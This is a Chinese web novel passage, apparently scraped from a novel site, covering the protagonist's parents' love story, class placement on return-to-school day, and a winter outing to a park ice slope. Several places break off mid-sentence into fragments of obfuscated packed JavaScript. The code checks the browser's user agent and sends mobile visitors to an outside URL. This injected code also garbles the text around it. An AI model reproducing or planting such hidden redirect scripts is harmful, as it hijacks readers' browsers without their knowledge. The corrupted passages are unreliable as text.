“妈,我后天中午跟同学去外面吃,不用给我带饭了。”他真的是迫不及待赶紧穿越到返校的时候。 “后天的事你这么着急跟我说?” “哎呀,就刚和同学定的,告诉你一下。” 余美兰这次回来后,总感觉儿子有些不一样,不过这个年纪的孩子,倒是也都正常。现在看来整个人还更好了些,也就没有多问。 “你手里钱还够不够?妈妈再给你拿一些?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908906|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “够用,我暑假赚可多了,足够。” 城西公园那里有一个石塔,虽然并不是很好看,但也算一个古迹,不少来奉州游玩的旅客会顺路去看一看。 新柳的政府也抓住了这个赚钱的机会,把城西公园修建得很好,挖了人工湖,还建了一座假山,公园里随着季节变化种着不同的花,也有供孩子玩耍的一些小型的游乐设施。 丁似霰那个假期没有报初升高的补课班,比较清闲,拿着他的拍立得,在石塔附近给人照相。 他拍照技术还不错,不出三天就在城西公园有了点名气,两个月的时间赚了他将近两年的零花钱,要不是后来相纸缺货买不到了,他感觉还能赚更多。 他本身皮肤蛮白的,虽然抗晒,也禁不住在外面跑了两个月,晒黑了些。开学军训过后倒是和大家都差不太多了。 “今年过年还是回你外公家过,看看想什么时候走,你爸爸跑完这趟回来直接去南菀,我们自己过去。” 余美兰是南菀人,嫁给丁国辉将近二十年,竟然还没有完全被奉州的口音同化。自从丁似霰初中之后,她偶尔就会和丁国辉一起跑大货,走南闯北。 她还是有一些南菀的口音,南北方口音混杂着,有时听起来确实会有些奇怪。 身边的人都会称妈妈的父母为姥姥姥爷,这是北方多数的称呼。丁似霰有点混乱,外公外婆、姥姥姥爷混着叫,当然,主要是外公很固执的认为女儿的孩子就应该叫外公,姥爷这个称呼过于亲密了,但是姥姥没这个想法,姥姥每次见到丁似霰都喜欢的不得了,她很喜欢这份来自北方的亲切。 他回南菀的次数不多,姥姥也只在他小时候来过新柳——他小时候身体实在太差了,总是三天两头住院,余美兰照顾起来有些乏力,丁国辉还要在外面工作赚钱。 丁似霰奶奶那个时候还在,虽说会帮衬一些,但当妈妈的都是会心疼自己孩子的,丁似霰姥姥也只要得了空就会过来帮着余美兰照看他。 自从两年前丁似霰的奶奶走了后,他们一家三口春节都是回南菀过。 丁似霰能看得出来,回南菀过年这两年,余美兰很开心,哪怕还是忙碌一晚上,和家里的女人们一起做一大桌子菜。 丁国辉会一起在厨房干活,但他总被叫回去喝酒,与外公、舅舅一起谈论着一些丁似霰并不感兴趣的事情,其实似乎丁国辉也不大感兴趣,总会找机会溜走,然后跑去找余美兰。 丁似霰甚是意外瞄到过这两个大人搂着腰炒菜……这真的,太行了。 丁似霰这两年自己在家的时间更多了一些,也学会了鼓捣出一些不算难的菜,去年还一起做了年夜饭。 过年时家中只有姥姥、外公和舅舅家一家,三个姨妈都嫁去了别处,很少回来。舅舅家两个孩子,一个比他小两三岁,是个弟弟,总是不大理人,另外还有一个哥哥比他大上许多,已经是大人模样了,丁似霰不算太喜欢他,也很少和他有交流。丁似霰的成绩在姥姥家的人们眼里是很好很好的,每次都听到他们说老余家要是也能有个大学生就好了。 每年他都是没什么想法的,放了假就跟着余美兰回南菀。今年他有点想晚一些再走。 还是算了,妈妈,也想她自己的妈妈啊。 15. 父母爱情(丁似霰爸妈) “都行,返校之后收拾一下东西,周日就可以走。” “好。” “我前段时间自己试着做了锅包肉,还挺成功的,到时候做给姥姥尝尝!” “好,你外……姥姥,很喜欢新柳这种酸甜口的东西,你做的她肯定更喜欢。” 余美兰也感觉,叫姥姥更亲近一些,只是有时改不过来前二十年的语言习惯。 余美兰从很小的时候就帮家里干活,初中之后读了技校,也就接着出去打工了。 十七岁的时候她认识了来南菀送货的丁国辉。 丁国辉和她见过的所有男人都不一样。 第一眼的感觉就不一样,很直观,因为丁国辉很高,足足有一米八还多一些。在那个物质比较匮乏的年代,就算是在北方,长到一米八也已经是大个子了,更何况是在南方。 丁国辉力气很大,搬货物的时候干活又快又利落。 一个夏日,他又来了。 当时南菀夏天最高温度能达到三十六七度,在那样的烈日下做体力劳动无疑是痛苦的。 不过有钱赚,就不痛苦。 少年满头大汗,却笑意吟吟地和同伴边聊着天边干活。 余美兰壮着胆子给他送了一杯绿豆汤。 他的声音里带着北方人独有的豪爽,“谢谢妹子!” “不,不谢。”女孩一下红了脸,跑走了。 再见面,是半个月后了。 半个月后的南菀依旧很热,南方的夏天就是又炎热又漫长。 丁国辉正巧遇见了刚下班的余美兰,很热情地打了招呼。 他人长得周正,又是二十几岁的小伙子,余美兰的同事们见了,开始起哄。 “美兰,你看他满头都是汗,再去送一杯绿豆汤啊!” 他用毛巾抹了一下汗,嘿嘿笑道,“绿豆汤,挺好喝的。” 那段时间丁国辉都是在给余美兰打工的饭店送货,他喝了好多杯绿豆汤。 有一天,绿豆汤变成了凉茶。 少年虽有些疑惑,闻了闻,好像没什么味道,他直接一饮而尽,然后龇牙咧嘴。 身旁的女孩有一种恶作剧的得逞的感觉,捂着嘴笑弯了腰。 再后来,他跟着她回了家。 不同于余美兰一直以来见过的男人,丁国辉很勤快,做饭、刷碗、陪余美兰的侄子玩,把余美兰爸妈都哄得很高兴。 十八岁,余美兰嫁给了丁国辉,他用仅有的一些存款给她买了一个素圈金戒指,很细,但在十八岁的余美兰眼里,那是她此生见过最美的首饰。 他们在余家村办了一场还算不错的婚礼。没有合法也没有领证,但是在农村十几岁就嫁了人生孩子的女人数不胜数。 丁国辉按照余家村的规矩,置办了很体面的彩礼,但是她的嫁妆只有母亲纳的一床蚕丝被。 她从南菀跟着丁国辉回到了新柳。 丁国辉五岁的时候,他父亲就找了一个城里的女人,抛下他和他母亲。 丁淑芬带着刚刚五岁的儿子毅然决然离开婆家,独自把丁国辉养大,也没有再婚,所以家里只有他一个孩子。 丁淑芬待余美兰不错,不至于说是对待亲女儿,但绝对没有她儿时见过的那些针锋相对,反倒是有一种不亲不近恰到好处的感觉。 婆婆织的毛衣很好看,婆婆包的饺子也很好吃,婆婆讲得往事也很有趣。 她喜欢丁国辉,喜欢新柳,喜欢自己的新生活,喜欢和丁国辉一起坐着大货车去不同的地方,这是她年少时从不敢幻想的生活。 二十岁,她得到了一个红本本,里面有她和丁国辉的合照。 他们在新柳又办了一次婚礼,原来这里,是闹新郎。 二十一岁,两个人在新柳买了一所小房子,不大,但那是余美兰第一个属于自己的家。 二十二岁,她怀孕了。 余美兰家里有一个哥哥三个姐姐。 余美兰,和她两个姐姐,都是因为家里想再要一个男孩子,才出生的。 直到最后母亲年岁大了,实在不适合生育,才就此停止。 她有些害怕,怕这是一个女孩。 “男孩女孩都好,咱们的孩子都是好孩子,健康就好。”丁国辉的话不像敷衍。 产检的时候,医生说,是个女孩。 余美兰有些下意识地想看看丁国辉的脸色,还没等抬头,就听到了丁国辉的声音。 “女孩好啊,女孩长得像兰兰肯定好看!” 他好像,真的不在乎这个孩子是男是女。 后来孩子出生了,是个男孩。 丁国辉让余美兰给孩子起名字。 余美兰当年上学的时候有一句诗印象很深刻,“月照花林皆似霰”这一句,或许是当初就感觉这句很好听。 “那就叫丁似霰吧?”她道。 “其实,姓余也很好。”男人仰着头,眼神亮晶晶地看向她,口中说着余美兰从未想过的事情。 余美兰一瞬间红了眼眶,缓了片刻才说道:“姓丁,我希望儿子可以像你一样。” 余美兰总是感觉,除了在母亲眼里,她自己都是个多余的人,在余家村、在自己家里,都是个多余的、不被期待的人。 余家村不需要早晚会嫁出去的女人,父亲不需要无法传宗接代的女儿,姐姐们也不太喜欢这个最小的,吃了红利的妹妹。 “但……是哪个霰字?”丁国辉一时想不起来,他跑到外面的书店,买了一本中小学生古诗词大全,翻找着。 “哦!这是写的月光下的样子,好听!”丁国辉记住了这句诗。 “小名叫他小光吧?” “好啊!”丁国辉好像基本没有反对过余美兰的话,这又和余美兰一直以来所见到的男人都不同。 余美兰感觉,当初赌一把,嫁给丁国辉是对的。 丁国辉,是个好男人。 月子里,丁国辉对余美兰的照顾更是细致体贴,丁国辉母亲也是真的对她很好,她有一种错觉,如果一直这样,她其实也愿意再和丁国辉多要一个孩子——当然这是不可能的,那正是计划生育的时候。 很可惜,日子没有那么顺畅地过下去。 刚刚满月的丁似霰突然发起了烧,从此开始隔三差五就烧到医院去,还时不时会抽搐,吐奶。 好在几番折腾下来,也确定了他没什么大毛病,只是体质比较弱,再加上有一些轻微低钾和脾胃不调——总之不影响活着,只是活得艰难些。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908907|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 丁国辉更忙碌了,全国各地地跑车,赚钱。 她留在了家里,照看孩子,接一些在家就能做的小活。 丁似霰从小就很听话,哪怕是输钾的时候,小小的孩子在她怀里也没有乱动,只是小声抽泣着。 孩子大了些,除了喝奶以外可以吃些东西了,她学了很多食补的法子,搞得好像一个营养大师。 后来孩子渐渐长大了,身体也好了一些,感冒发烧去小诊所输输液就好了,没有再住院。 这孩子甚至在诊所混成了熟客后,还会帮着安抚那些情绪激动的小朋友,诊所的医生都十分喜欢他。 再后来,丁似霰连诊所都很少去了,她也找了一份还算稳定的工作,虽然需要倒班,但给的钱不少呀,日子又慢慢好过起来了。 她很多年没有回南菀了,多少还是有些想家。丁似霰四岁的时候,丁国辉问她要不要带着孩子回南菀玩一圈,见一见她娘家的亲戚。 那是丁似霰第一次去南菀。 南方的冬天,树竟然是绿色的! 还有不少的鸟,这个时候的新柳大概只剩麻雀了。 蚊子也是没有死干净的。 没有暖气的屋子,真的好冷。 但是妈妈很开心,那南菀就是个好地方。 后来每年都会回一次南菀,但都是暑假。太热了。 丁似霰只想每天躲在家里吹风扇,他不太理解院子里的孩子们是怎么能在这么热的天气里还那样的精力充沛。 丁似霰五年级的时候不知怎么,忽然对相机很感兴趣,余美兰咬一咬牙,给他买了一个。 很遗憾,买错了。本是想买那种胶卷相机,结果买成了拍立得。 相纸实在是太贵了。 丁似霰开始找机会给别人拍照,赚得不多,但足够他买几张相纸拍他想拍的东西。 家里的墙上挂了好几张,他给余美兰和丁国辉拍的合照。 还有在南菀拍的小型全家福,小小的一张相纸里,挤满了人。 或许是因为去医院去得多了,余美兰和丁国辉对丁似霰的成绩也没有任何要求,只希望他健康长大就好。 但他也一直还算不错,没得过三好学生没当过班干部,却也没被找过家长,上了初中之后还基本一直稳定在新柳的前二百,至少自费肯定可以去新材高中。 丁似霰初一的时候,余美兰被辞退了,哪个时代都是一样,中年已婚已育女性,社会总是会对她们更苛责一些,虽然三十几岁也不算什么中年。 丁似霰和余美兰说,她可以和丁国辉一起去跑大货,他在家和奶奶待在一起,挺好的。 余美兰是喜欢那种感觉的,全国各地转转,看各种的风景。只是做了妈妈,似乎都会忘了自己。 三十五岁,余美兰开始了新的生活,偶尔和丁国辉出去转转,在外面看到什么新奇的东西就顺路带些回来,然后在新柳卖出去。 婆婆走了,她不太放心丁似霰自己在家,出去的次数就又少了点。 直到现在,只有去比较远的地方,丁国辉还没有同伴的时候,余美兰才会和他一起——小丁已经变成老丁了,他自己开长途,余美兰也很担心。 日子,平平淡淡的过着,挺好。 16. 如愿 丁似霰猜错了,乔洛没有给杨可期发消息。 因为她们两个当时是待在一起的,甚至可以说是缠在一起的。杨可期就挂在乔洛身上,看着她发消息。 十分钟前。 两个女孩对着电脑屏幕,聚精会神地看着榜单。和丁似霰一样,看到两个人名次相连的一瞬间杨可期也笑不出来了。 乔洛多少也有一些惆怅。 她突然想起了新材很久之前的分班规定,一到四十名一个班,四十一到八十名一个班。这次似乎没说怎么分班,不会要重操旧业吧?她可不想自己进了四班。 杨可期此时突然凑了过来,装作有些刁蛮的样子,捏起乔洛的下巴,“说,想和我分一个班还是和丁似霰分一个班?” “当然是你啦,他怎么能和你比?”乔洛一点都没有犹豫。 这与他们两个掉水里了先救谁的问题不一样。和杨可期在一个班那就有办法当同桌,她可以继续过这种安逸的日子。与丁似霰在一个班?似乎她想不到有什么很特别的事情,是必须和他在一个班级才能实现的。 “不错不错,”杨可期很满意,乔洛看来并没有见色忘友。 鉴于丁似霰已经没有乔洛的偏爱了,杨可期决定给他谋点福利,她问道,“明天返校之后你有啥打算吗?” “回家,或者去我姥家趴窝,”乔洛想了几秒,又道,“你要是想去吃饭或者去哪玩也行,我记得你说想去城西公园滑冰车来着是吧?” 杨可期不知道是该为自己开心还是为丁似霰悲哀。 哦,当然是要为她自己开心。 “那就先吃饭,然后去滑冰车!”杨可期不做选择,她两个都要。 “行,去吃什么呀?”乔洛翻开了她的……菜单。 没错,她把学校附近的店家发的宣传单夹在了一个本夹子里面,方便觅食。 “你不然,问问那俩小子要不要一起?” “问他俩干什么?冰车只有双人的吧?”乔洛依稀记得,去年去城西公园玩的时候,只看到了双人冰车。 “嗯……他俩可以一个车,人多热闹。”可能人的本质,都喜欢拉郎配。杨可期感觉,丁似霰还是勉强可以配得上她家洛洛的。 而且,乔洛的朋友太少了,像这种愿意和她一样付出一腔热情的更是没有,人多点,确实热闹。 乔洛翻菜单的手停在了“灰大厨手工粉”那页。 喜羊羊与灰太狼这两年播得很火,也不知道是店主喜欢灰太狼还是店主家孩子喜欢它。 元旦新开的店,之前丁似霰好像说他家菜单上这个炸鲜奶看着不错来着? “这家,吃吗?”她问杨可期。 杨可期没意见……乔洛和杨可期都不太挑食,只是都懒得去食堂抢饭。 后来就有了乔洛给那两个小伙子发消息的一幕。 想来,丁似霰也没有白高兴一场,至少洛洛记得他说过什么。 第二天,返校日。 果不其然,或许是乔洛的直觉很准,又或许是祈祷生效了……当然最大的可能就是凑巧。 乔洛和杨可期在四班,丁似霰在五班,许志如愿以偿做了平行班一号,分去了七班。 意外之喜,石忠是四班的班主任,同时也教五班的物理。 石哥混得……哦不,是教得,真的很好,两个尖子班都是他教。 五班班主任是生物老师叫任妍,和石忠是一家的。 天,一家两个尖子班班主任,好恐怖的组合。 七班……啧啧啧,七班班主任是个老头,语文老师,出了名的墨迹。三个人都对许志表示怜悯,以后的两年半有得他受了。 石忠的习惯,按照成绩选座,从一号开始自己选想坐哪里。 乔洛是十八号,她直接把自己的名字写在最后一排靠窗的位置时,石忠倒也不惊讶,这姑娘之前半年也一直在最后一排,个子虽然不高,还这么喜欢坐在后面。 杨可期自然选在了乔洛身边,最后一排在尖子班可不是什么抢手的位置。 石忠的话不多,只是说了一些他的要求和规定。因为新分的班级,甚至连寒假作业都没有,只说了让同学们自行复习、预习。 没作业的假期,爽! 果然分班和投胎没什么区别,班主任分的好,日子都快活起来了。 乔洛感觉自己在分班这件事上终于投了个好胎。 任妍和石忠夫妻俩都是爽快人,没什么长篇大论的废话,四五班的返校班会基本是同时开完的。 他们两个连分配座位的方式都是一致的,按成绩选择。 丁似霰选了最后一排,他个子比较高从小到大似乎都坐在最后,倒也形成习惯了。 果然,许志还在班级里。 诶,这小子在第一排最中间的位置,这次变成大熊猫咯。 老李头也不知道在讲台上说些什么,怪激动的。许志的思维已经飘出去了不知道多远,目光呆滞的看着讲桌角落里那个有一些翘起了的木板边缘。 无非是在说假期是弯道超车等等老套的话语,还有让他们努力赶超四班和五班,这些讲话实在勾不起许志的兴趣。 他漫无目的地到处乱瞄,然后就看到了前门坐在窗台上的三个人。 真该死啊,他们三个怎么都这么快? 还好,王主任巡逻走到了这里,把他们三个喊了下来——坐窗台上这么危险的事情,被抓到了怎么可能不管。 或许是李老师年岁大了耳朵也不是很好,所以嗓音比较洪亮,足够穿透班级那扇并不太厚的大门。 外面的三个人听到了一句,非常有趣的话。 “下面让我们班前五号依次来讲台上分享一下学习经验! 一号许志,你先来!” 许志猛地抬起头。 有趣吗?这一点都不有趣。 什么经验,讲他回家之后书包一扔上床就睡吗?还是说最后那两周天天跑上三楼跟门外那三个刚被王主任驱逐的家伙混迹在一起做题? 许志站起身走上讲台,却一直张不开口,到底说啥啊…… 李老师还在鼓励他,应该算鼓励吧? “许志,你想到什么说什么,有学习方法分享出来和同学一起进步!” 许志挠了挠头,瞄了门外一眼,支支吾吾说道,“就,上课听听课,然后……” 他思考了一下,还是决定把那三个供出去。许志直接指向了门外,“然后那三个尖子班的家伙带着我做题。” 这个答案出乎李老师的意料,他有些干巴地鼓了两下掌,“好,有好朋友一起学习是好事!同学们也要和尖子班的学生们多多交流。” “但他们仨性格不好,做不出题的时候打人,还是不要和他们仨交流了。”许志笑嘻嘻接过话,说完就窜回了座位。 这可不是诋毁,这是保护,保护他们仨不被干扰。 “啊……好,那下一位同学,二号张曼瑞来分享一下。” …… 七班放学的时候,那三个人已经在坐在门口的地上斗了好几把地主了…… 乔洛的扑克,姥家扑克旧了,早上就去小卖店买了两幅准备晚上带去,没想到先被他们仨玩起来了。 杨可期手里还剩下三个二两个k,三带二直接胜出结束了这把游戏。 丁似霰拢着扑克问道,“小志子,我们仨性格不好?” “好,可好了,我这不是怕真有人去找你们吗……”他真感觉李老头干得出来直接开门让他们仨进来认识一下这种事情。 “算了,饶你不死。一会滑冰车的时候记得输得自然一点,让我乐呵乐呵。”乔洛站起身,拍拍屁股,这地面真凉。 “或者你拉雪橇也行,”杨可期补刀。 “冰车?去城西玩?”许志并不知道这三个人刚刚在门外谋划了些什么。 乔洛道,“对头,吃完饭准备去转转,丁似霰说你也没啥安排,是吧?” “我就是闲人一个,什么时候都有空,”许志巴不得喊他出去玩,冬天也没什么可干的活,在家和爷爷奶奶大眼瞪小眼,着实无聊,“那边今年还建了一个特别滑的大坡,好像说是无论用什么方法,只要能爬上去就奖励五十块钱。” “赚钱去 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吃饭的时候许志控诉了一下他百无聊赖的假期生活,两个女孩才知道丁似霰明天就要去南菀了。 “南菀?南方什么样子?”乔洛没有去过南方,从故事书里看到的南方似乎……很难形成具体的概念。 “会不会现在还二三十度?”杨可期也没有去过,同样对南方抱有一些好奇。 丁似霰刚咬了一块炸鲜奶,然后在嘴里快速复炒了一遍,这玩意太烫了。 “没有那么热,冬天的话基本都是个位数的温度,但偶尔出太阳还是很晒,然后可能很快升到二十几度,下一场雨又飞快降回去,”丁似霰说道,“南菀那边没有暖气,屋子里面冷的要命,但是家里会有炭盆,一堆人围在一起烤火。” 乔洛感觉按照这么说,她很难理解南方哪里宜居了? “诶,南方孩子看到雪真的那么新奇吗?”杨可期突然想起来她之前看的小说里,总有什么难得下一场雪,然后很浪漫的情节。但一想到每次下过雪后在路上像企鹅一样走路,突然就在脑子里面浪漫不起来了。 果然想象和现实得分清楚一点,不然太难浪漫了。 “我以前都是夏天回去,前年才开始寒假回南菀,反正还没见过下雪。” “你从道边挖一桶雪走,然后去南菀卖出去,看看能不能暴富,”许志又在出馊主意了。 “我上你家地里再挖点土带走,去那边卖棕土是不是也行?”丁似霰顺着许志的话说了下去。 南菀的土地都是红土壤,他总感觉……没有新柳的棕土养植物合适。 “你家有地?”乔洛和杨可期并不知道许志家具体的情况,只是知道他和爷爷奶奶一起生活。 许志点点头,“对啊,我家在城郊那边的农村,为了方便我上学才在学校附近租了个房子的。” “那冬天怎么还会没事干?扣大棚不是能种东西吗?” “冬天冷,地面也滑,我爷和我奶岁数都大了,冬天就不干活了。” “采摘呀!种草莓,采摘园,种好了以后看着点棚子,迎迎客人就行,又不用自己摘。”乔洛不爱吃草莓的,但是云锦书喜欢。以前去采摘园的时候她倒是很喜欢摘,红红的小果子看起来就开心。 乔洛记得,和云锦书曾经去过其它地方的采摘园,都是冬天扣大棚种的草莓。 许志感觉恍然大悟,“对啊,种点草莓真的可以,但是今年来不及了,我回去跟我奶说一下,明年冬天试试。” “缺人手干活不?我不要工钱,”杨可期象征性举起了手,“草莓管饱就行。” “好!管饱!”许志答应得十分痛快。 “看来我明年得晚点去南菀了,这个热闹我得凑一凑。”丁似霰道。 乔洛举起了手中的饮料,“来吧,预祝明年草莓采摘大业成功,碰一个。” “碰一个碰一个!” 四个杯子碰在一起,发出了些许清脆的声响。 少年人多是热情洋溢、斗志昂扬,充满希望地去憧憬迎接那个于他们而言盛大又绚烂的未来。 17. 寒假 城西公园。 乔洛是第三次来这里,城西距离市区远了些,她也对这边没有太大兴致,更懒得出门,只有很小的时候来玩过。 刚刚吃完饭也不大适合直接去做爬坡这种剧烈运动,四个人就先在公园里闲逛了一会。 那石塔,她只有印象似乎很高,却也不记得具体什么样子。 乔洛站在塔下,看着那高达不知道多少米的台阶,不由得眼角抽搐:“丁似霰,你假期就在这爬上爬下的给人照相?” “嗯……还好,也不是太累,”丁似霰在一旁揪下一颗小红果子:“这是什么,冬天还能结果?” 乔洛不知想到了什么,憋着笑:“金银木,又叫忍冬,冬天里小红果子也不落,很难得的东西。” “笑什么呢?”许志不解。 丁似霰也很疑惑:“对啊,这名字也,没什么特殊的吧?” “因为还有别名,”杨可期和乔洛表情几乎一模一样:“这玩意还叫王八骨头。” 乔洛跑到一旁,看着石像和它下面的字:赑屃。 “这是什么?”她问道:“这俩字怎么念啊?” “bixi,”笑容转移到了两个男生脸上:“龙的第六个孩子,和乌龟生的,俗称,龟儿子。” “呃……”乔洛的关注点又跑向了另一个方向:“为什么总说龙生九子,又不是他生的。” “好问题,那,该怎么说?”丁似霰很是认同。 乔洛决定把这个问题交给许志:“再开学你问问老李头,他教语文的让他思考吧。” 带状人工湖。 可能因为天实在是太冷了,又或是初中小学的孩子们一周前就已经放假,早就在冰面上玩了很久,总之,现在冰面上没有很拥挤。 许志说的那个大冰坡果然在,不少人聚在坡下想尽办法冲上去,然后又不得不滑下来。 两块钱体验一次,看老板笑得合不拢嘴的样子,大概是赚了不少。 乔洛对那些半路以各种姿势滑落的人,望而生畏。 真的必须去体验吗。。。 好像是的,那三个已经摩拳擦掌了。 乔洛开始打退堂鼓,“你们能不能交三份钱?” 她从小平衡感就不好,至今为止都不能把平衡木走下来,这种滑坡……似乎更不可能爬上去。 何必自取其辱。 杨可期没有采取乔洛的建议,拽着她继续向滑坡走去,“要摔一起摔,不能我们仨屁股摔八瓣了你还干干净净的。” 果然,拒绝无效。 果然,摔得很惨。 在第一次必然的失败以及三次被那三个人强制性携带参与但也失败后,乔洛呲溜一下滑倒后,坐在冰面上不想站起来。 她非常不解地问道,“这和捐款有什么区别?” “最后一次,试试能不能把你托上去。”丁似霰说完,就麻利地爬起来,去交钱。 乔洛看着那个很欢快的背影……不理解,这人是不是疯了? “你们准备怎么把我托上去啊?”乔洛想不通,这个坡的高度很明显,就算是个子最高的丁似霰把她举在头顶上,也还差一点距离。 许志站起来拍拍屁股上的冰渣,“或者你还记得叠王八吗?” “你才是王八!”杨可期一脚踢在了许志屁股上,险些没有站稳。 乔洛看着正在对他们招手的丁似霰,深深叹了口气,然后爬起来,从口袋里拿出口罩焊在脸上。 许志一说叠王八她就懂了。 许志和丁似霰在最下面,杨可期坐在他们俩肩膀上,形成一个三角形……然后让乔洛爬上去。 太丢脸了。 何必呢。 这必须把口罩戴上,羞见天颜了已经。 乔洛很无语地站在杨可期和许志中间,“别吵了,咱四个都是王八。” 怎么今天就和王八纠缠到底了呢。 在很多人的围观中,乔洛很灵活地登上了这座人肉天梯。 然后死命扣着坡上的平地,连滚带爬翻了上去。 累死了,她直接趴在冰上一动不动。 三个活爹。 花了四十块钱,累个半死,赚了五十。 多年后回想起来,乔洛感觉多亏那个年代还没有小视频,不然他们四个肯定会被拍下来发到网上……所以今天,不是来玩冰。 “今天是你们仨玩我,是吧?”乔洛很无奈地望着天。 她被那三个人拽起来,又推着她去到了租冰车的地方。 今年竟然有四人位的冰车,颇有一种划龙舟的感觉,虽然他们都没有划过。 这玩意绝对比龙舟费劲,四个人一人一根签子戳着冰面,发力方向不一致就更累了…… 还好,还算有默契,至少在那天的冰面上临时组织起来的一场“赛冰车”中还算有默契,最后得了第二名。 第二名,租冰车的费用打了五折,正好十块钱。 玩了一下午,竟然收支平衡了。 后来丁似霰又用类似于狗拉雪橇的方式拽着乔洛在冰面上滑行了一会……其实多数都是小孩子才会那样玩,毕竟小孩子体重轻,容易拉动。 这小子瘦得跟竹竿一样,总会让乔洛感觉,他一撅就折。没想到还挺有劲。 唉,也没什么没想到的,看丁似霰打羽毛球的时候乔洛就感觉那个球要是对着自己飞过来,能把她头削掉。 晚上回到家,洗过澡趴在床上的时候,乔洛感觉自己胳膊是酸疼的,屁股也疼,在滑坡上摔得太惨了。 但莫名其妙,有一种。 不真实感。 是这样,就叫不真实感。 似乎是白天玩闹得过于疯狂,被那三个家伙带着笑,像二傻子一样。 而如今回到家,一切归于安静,不得不承认,有点空虚。 其实乔洛身边不缺热闹。 假期的时候她偶尔去公园晒太阳,爬到那棵略有一些高的歪脖柳树上找一个幸运狗众和它对叫,欣赏一下在单杠上客串风火轮的靓仔,随机找个老头夸几句然后蹭他的陀螺抽两下。 还有一次她坐在树上发呆,树下有个小女孩奶声奶气地问她妈妈为什么现在不下雪了,她想淋雪。 乔洛一时兴起,摇了摇树枝。喏,给你下点雪。 没想到那小丫头哇的一声哭出来了。 ??? 不是她想淋雪的吗? 至于为什么做那些事?大概只是感觉有趣。 当然,这些事情多是在她小时候会做的,长大后便没有那么喜欢出门了,剩下的活动只剩下在姥姥家打牌,摸麻将,还有吃饭。 只不过,在朋友这方面,似乎只有杨可期会来找她,然后两个人一起犯病抽风。 现在又多了两个……病友。 挺好。 这个寒假和以往唯一的区别,就是偶尔会收到丁似霰的短信,然后再回他几句。 其实乔洛不太明白为什么他可以一直有这么强烈的分享欲。 她也不明白为什么,自己竟然蛮愿意回复这些细碎的小日常分享。 丁似霰在南菀见到了一只不认识的鸟,甚至发过来一条彩信。 ——洛洛,你看这个,是不是很可爱? ——嗯,挺好看的。南方真的现在还那么多鸟? 新柳冬天里基本只能看到麻雀了,其他鸟类和绿色的叶子一样,在这时都是稀罕物。 不过乔洛没有说她到底在想些什么……看到这只鸟她突然想起来小时候吃的烤鸟了,没记错的话应该就是这种……很香。 ——很多,南菀这里天放晴的时候还能到二十度呢,我昨天去市里的公园转了一圈,竟然被蚊子咬了一口。 ——好惨,你有没有抓到罪魁祸蚊,弄死它? ——没,案发现场没有被发现。 可真是太遗憾了。 乔洛没有再回消息,她那时正在给前几天画的线稿上色,能回他两条已经算很破天荒的事情了。 又过了几天。 ——我今天买到了一款很漂亮的相纸,店里只剩十张,被我全拿下了,回去给你照。 ——?收费吗? 乔洛过了一个多小时才回消息,刚刚在公园和老头下象棋,根本没看手机。 ——想要张肖像画,以物换物怎么样? 丁似霰回得倒是快。 ——那我有点亏,你照相就几秒,我画画得半天。 出奇,小丁同学竟然十分钟都没回消息。 乔洛本来也只是想逗逗他,看看他会说些什么,不回话倒是有点无趣了。 ——那再加个玛瑙镯子怎么样? ——亏点就亏点吧,偶尔做个亏本买卖也可以。 两条消息基本同时发送的。 什么镯子? 乔洛看了看自己的胳膊,她骨架比较小,手腕很细,但是在女孩里,手算比较大的,这种构造似乎没那么适合戴镯子…… 合着丁似霰半天不说话,是在想对策。 ——村里有个叔是做手镯的,我用他的废料试过,你喜欢什么颜色?要不要做我第一个顾客? 哇,好诡计多端的男人,练了很久,想给乔洛做一只镯子,现在还要说成以物换物的筹码,分明是好不容易找到了一个由头。 但乔洛的小脑袋瓜不会想到这些的,她只是在很认真的考虑自己到底能不能戴镯子,以及什么颜色戴着好看。 ——我不会套不进去手腕吧? ——可以做半开口的。 ——那不会很容易掉出去吗?算了还是正常的吧。都有什么颜色的? ——白,黄,香槟,还有一些料子是两三种颜色混的。 ——那我要白色的。做得不好看,我就给你画成霸王龙。 ——也不错,至少腿是长的。 乔洛确实还没试过,手镯戴着会不会好看。 后来丁似霰倒是安静了不少,或许在努力练手艺。但因为他再也没提过这件事,乔洛也就慢慢忘记了。 只是他们之间偶尔会发点消息,在乔洛一成不变又充满乐趣的假期生活里锦上添花。 一成不变是因为确实,活动只有那么多。充满乐趣是由于,乔洛乐在其中。 好几次丁似霰发消息的时候乔洛都在热火朝天地打麻将,过了两三个小时才回他。结果发现这人基本每次都秒回之后,多少有些于心不忍。于是,她把手机静音关掉了,并且放在牌桌上,以便于能及时看到。 除夕。 哇,话费欠费了。 哇,营业厅关门了。 还真是,不凑巧。 但这影响不了乔洛的行程,又没有什么人会有急事找她。 除夕,和平常的区别也只有晚饭吃得比较早。下午两三点,吃过饭后,乔洛就和云锦书一起去了姥姥家。 麻将大业不可辜负。 麻坛高手乔洛同学听到自己已经欠费的半停机的手机传来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“乔洛?” “耳朵挺好使嘛,这都听出来啦?” “你在打麻将?” “我跟你说,我今天晚上已经赢了五十多块钱了,牌贼顺。 我手机欠费了,明天再去缴费,现在不让我打电话也不能发短信,我就只能收到消息,下午做饭来着,忘告诉你了。” 